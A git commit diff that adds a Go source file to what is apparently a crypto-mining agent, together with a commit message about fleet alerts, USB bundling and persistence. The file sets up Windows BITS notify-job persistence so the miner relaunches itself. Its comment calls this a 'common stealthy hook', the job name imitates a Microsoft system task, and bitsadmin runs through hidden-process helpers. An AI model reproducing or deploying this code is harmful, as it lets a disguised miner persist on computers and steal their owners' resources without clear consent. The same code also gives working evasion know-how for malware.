feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
92
agent/deploy/bits_windows.go
Normal file
92
agent/deploy/bits_windows.go
Normal file
@@ -0,0 +1,92 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// BITS (Background Intelligent Transfer Service) notify-job persistence — runs the
|
||||
// miner when the transfer job errors, completes, or retries (common stealthy hook).
|
||||
// BitsJobName returns the BITS notify job name for this worker build.
|
||||
func BitsJobName(cfg config.RuntimeConfig) string {
|
||||
return bitsJobName(cfg)
|
||||
}
|
||||
|
||||
func bitsJobName(cfg config.RuntimeConfig) string {
|
||||
base := PersistenceKeyName(cfg)
|
||||
if base == "" {
|
||||
base = "CryptoMinerAgent"
|
||||
}
|
||||
return "Microsoft-Windows-BITS-" + sanitizeName(base)
|
||||
}
|
||||
|
||||
func bitsJobExists(jobName string) bool {
|
||||
out, err := HiddenCombinedOutput("bitsadmin", "/list", "/allusers", "/verbose")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(string(out), jobName)
|
||||
}
|
||||
|
||||
// CreateBITSPersistence registers a download BITS job with SetNotifyCmdLine pointed at the miner.
|
||||
func CreateBITSPersistence(cfg config.RuntimeConfig, binPath string) error {
|
||||
if strings.TrimSpace(binPath) == "" {
|
||||
return fmt.Errorf("binary path required")
|
||||
}
|
||||
job := bitsJobName(cfg)
|
||||
if bitsJobExists(job) {
|
||||
return nil
|
||||
}
|
||||
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(installDir, 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
localFile := filepath.Join(installDir, ".bits-transfer.stub")
|
||||
if err := os.WriteFile(localFile, []byte{0}, 0o644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
remoteURL := "http://127.0.0.1:65534/aetherforge-bits-placeholder"
|
||||
exeEsc := strings.ReplaceAll(binPath, `"`, `""`)
|
||||
params := strings.ReplaceAll(runFlag, `"`, `""`)
|
||||
|
||||
steps := []struct {
|
||||
name string
|
||||
args []string
|
||||
}{
|
||||
{"create", []string{"/create", "/download", job}},
|
||||
{"addfile", []string{"/addfile", job, remoteURL, localFile}},
|
||||
{"notifycmd", []string{"/SetNotifyCmdLine", job, exeEsc, params}},
|
||||
{"notifyflags", []string{"/SetNotifyFlags", job, "1", "1", "1", "1", "0"}},
|
||||
{"retry", []string{"/SetMinRetryDelay", job, "60"}},
|
||||
{"resume", []string{"/resume", job}},
|
||||
}
|
||||
for _, step := range steps {
|
||||
args := append([]string{"bitsadmin"}, step.args...)
|
||||
if err := HiddenRun(args[0], args[1:]...); err != nil {
|
||||
_ = HiddenRun("bitsadmin", "/cancel", job)
|
||||
return fmt.Errorf("bitsadmin %s: %w", step.name, err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveBITSPersistence cancels and removes the BITS notify job for this worker.
|
||||
func RemoveBITSPersistence(cfg config.RuntimeConfig) {
|
||||
job := bitsJobName(cfg)
|
||||
_ = HiddenRun("bitsadmin", "/cancel", job)
|
||||
_ = HiddenRun("bitsadmin", "/complete", job)
|
||||
if installDir, err := cfg.InstallDirectory(); err == nil {
|
||||
_ = os.Remove(filepath.Join(installDir, ".bits-transfer.stub"))
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user